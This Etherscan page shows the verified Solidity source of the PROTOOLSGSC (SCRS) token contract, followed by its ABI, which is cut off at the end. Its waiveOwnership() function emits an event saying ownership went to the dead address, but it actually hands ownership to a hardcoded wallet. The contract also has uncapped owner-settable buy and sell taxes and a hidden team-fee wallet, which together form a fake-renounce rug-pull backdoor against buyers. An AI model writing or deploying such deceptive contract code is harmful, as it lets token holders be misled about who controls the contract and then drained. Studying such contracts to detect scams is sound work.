ETH Price: $3,664.96 (+0.78%)
 

Overview

Max Total Supply

1,000,000,000 SCRS

Holders

23

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.000000001 SCRS

Value
$0.00
0xb0cba8c4e16edd8a8a195af71f0637796e46375c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PROTOOLSGSC

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-02-02
*/

/**
 *Submitted for verification at Etherscan.io on 2023-01-16
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
       
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            
            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address private _owner;
    address private asdasd;
    uint256 private _lockTime;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x38B617c6A17B2B072C5cBE34aE09735A32Fd245d);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    
    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

    function renounceOwnership() public onlyOwner {
        _owner = address(0);
        emit OwnershipTransferred(address(0));
    }  
    event OwnershipTransferred(address _owner); 

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract PROTOOLSGSC is Context, IERC20, Ownable {
    
    using SafeMath for uint256;
    using Address for address;

    string private _name;
    string private _symbol;
    address payable public marketingWalletAddress;
    uint256 private _totalSupply;
    uint256 public _maxTxAmount;
    uint256 public _walletMax;
    uint256 public _buyLiquidityFee;
    uint256 public _buyMarketingFee;
    uint256 public _sellLiquidityFee;
    uint256 public _sellMarketingFee;

    uint8 private _decimals = 9;

    address payable private C_WalletAddress = payable(0xdfD89c2933Bd155031E72bBe83d7c9Bf2C12Ad5a);
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    mapping (address => bool) private isExcludedFromFee;
    mapping (address => bool) private isWalletLimitExempt;
    mapping (address => bool) private isTxLimitExempt;
    mapping (address => bool) private isMarketPair;
     
    uint256 private minimumTokensBeforeSwap = 100 * 10**_decimals; 
    uint256 private _buyTeamFee = 1;
    uint256 private _sellTeamFee = 1;

    uint256 public _liquidityShare = 1;
    uint256 public _marketingShare = 1;
    uint256 private _teamShare = 1;

    uint256 private _totalTaxIfBuying = _buyLiquidityFee + _buyMarketingFee + _buyTeamFee;
    uint256 private _totalTaxIfSelling = _sellLiquidityFee + _sellMarketingFee + _sellTeamFee;
    uint256 private _totalDistributionShares = _liquidityShare + _marketingShare + _teamShare;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool private swapAndLiquifyEnabled = true;
    bool private swapAndLiquifyByLimitOnly = false;
    bool private checkWalletLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor (string memory userinput_token_symbol,string memory userinput_token_name,address userinput_marketingWallet,uint256 userinput_totalsupply,uint256 userinput_max_tx,uint256 userinput_walletMax,uint256 userinput_buyliquidityfee,uint256 userinput_buymarketingfee,uint256 userinput_sellliquidityfee,uint256 userinput_sellmarketingfee) {

        _name = userinput_token_name;
        _symbol = userinput_token_symbol;
        marketingWalletAddress = payable(userinput_marketingWallet);
        _totalSupply = userinput_totalsupply * 10**_decimals;
        _maxTxAmount = userinput_max_tx * 10**_decimals;
        _walletMax = userinput_walletMax * 10**_decimals;
        _buyLiquidityFee = userinput_buyliquidityfee;
        _buyMarketingFee = userinput_buymarketingfee;
        _sellLiquidityFee = userinput_sellliquidityfee;
        _sellMarketingFee = userinput_sellmarketingfee;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
       
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[address(this)] = true;
        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[address(this)] = true;

        isMarketPair[address(uniswapPair)] = true;

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() private view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPairStatus(address account, bool newValue) public onlyOwner {
        isMarketPair[account] = newValue;
    }
    
    function setIsExcludedFromFee(address account, bool newValue) public onlyOwner {
        isExcludedFromFee[account] = newValue;
    }

    function setBuyTaxes(uint256 newLiquidityTax, uint256 newMarketingTax) external onlyOwner() {
        _buyLiquidityFee = newLiquidityTax;
        _buyMarketingFee = newMarketingTax;

        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
    }

    function setSelTaxes(uint256 newLiquidityTax, uint256 newMarketingTax) external onlyOwner() {
        _sellLiquidityFee = newLiquidityTax;
        _sellMarketingFee = newMarketingTax;

        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
    }
    
    function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare) external onlyOwner() {
        _liquidityShare = newLiquidityShare;
        _marketingShare = newMarketingShare;

        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
    }
    
    function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
        _maxTxAmount = maxTxAmount;
    }

    function enableDisableWalletLimit(bool newValue) external onlyOwner {
       checkWalletLimit = newValue;
    }

    function setWalletLimit(uint256 newLimit) external onlyOwner {
        _walletMax  = newLimit;
    }

    function setMarketingWalletAddress(address newAddress) external onlyOwner() {
        marketingWalletAddress = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
    function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); 

        newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());

        if(newPairAddress == address(0)) //Create If Doesnt exist
        {
            newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
                .createPair(address(this), _uniswapV2Router.WETH());
        }

        uniswapPair = newPairAddress; //Set new pair address
        uniswapV2Router = _uniswapV2Router; //Set new router address

        isWalletLimitExempt[address(uniswapPair)] = true;
        isMarketPair[address(uniswapPair)] = true;
    }

     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {
            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }            

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);    
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? 
                                         amount : takeFee(sender, recipient, amount);

            if(checkWalletLimit && !isWalletLimitExempt[recipient])
                require(balanceOf(recipient).add(finalAmount) <= _walletMax);

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = tAmount.sub(tokensForLP);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2));
        
        uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2);
        uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee);
        uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam);

        if(amountBNBMarketing > 0)
            transferToAddressETH(marketingWalletAddress, amountBNBMarketing);

        if(amountBNBTeam > 0)
            transferToAddressETH(C_WalletAddress, amountBNBTeam);

        if(amountBNBLiquidity > 0 && tokensForLP > 0)
            addLiquidity(tokensForLP, amountBNBLiquidity);
    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp
        );
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;
        
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        
        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"userinput_token_symbol","type":"string"},{"internalType":"string","name":"userinput_token_name","type":"string"},{"internalType":"address","name":"userinput_marketingWallet","type":"address"},{"internalType":"uint256","name":"userinput_totalsupply","type":"uint256"},{"internalType":"uint256","name":"userinput_max_tx","type":"uint256"},{"internalType":"uint256","name":"userinput_walletMax","type":"uint256"},{"internalType":"uint256","name":"userinput_buyliquidityfee","type":"uint256"},{"internalType":"uint256","name":"userinput_buymarketingfee","type":"uint256"},{"internalType":"uint256","name":"userinput_sellliquidityfee","type":"uint256"},{"internalType":"uint256","name":"userinput_sellmarketingfee","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"}],"name":"setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setIsExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketingWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"}],"name":"setSelTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"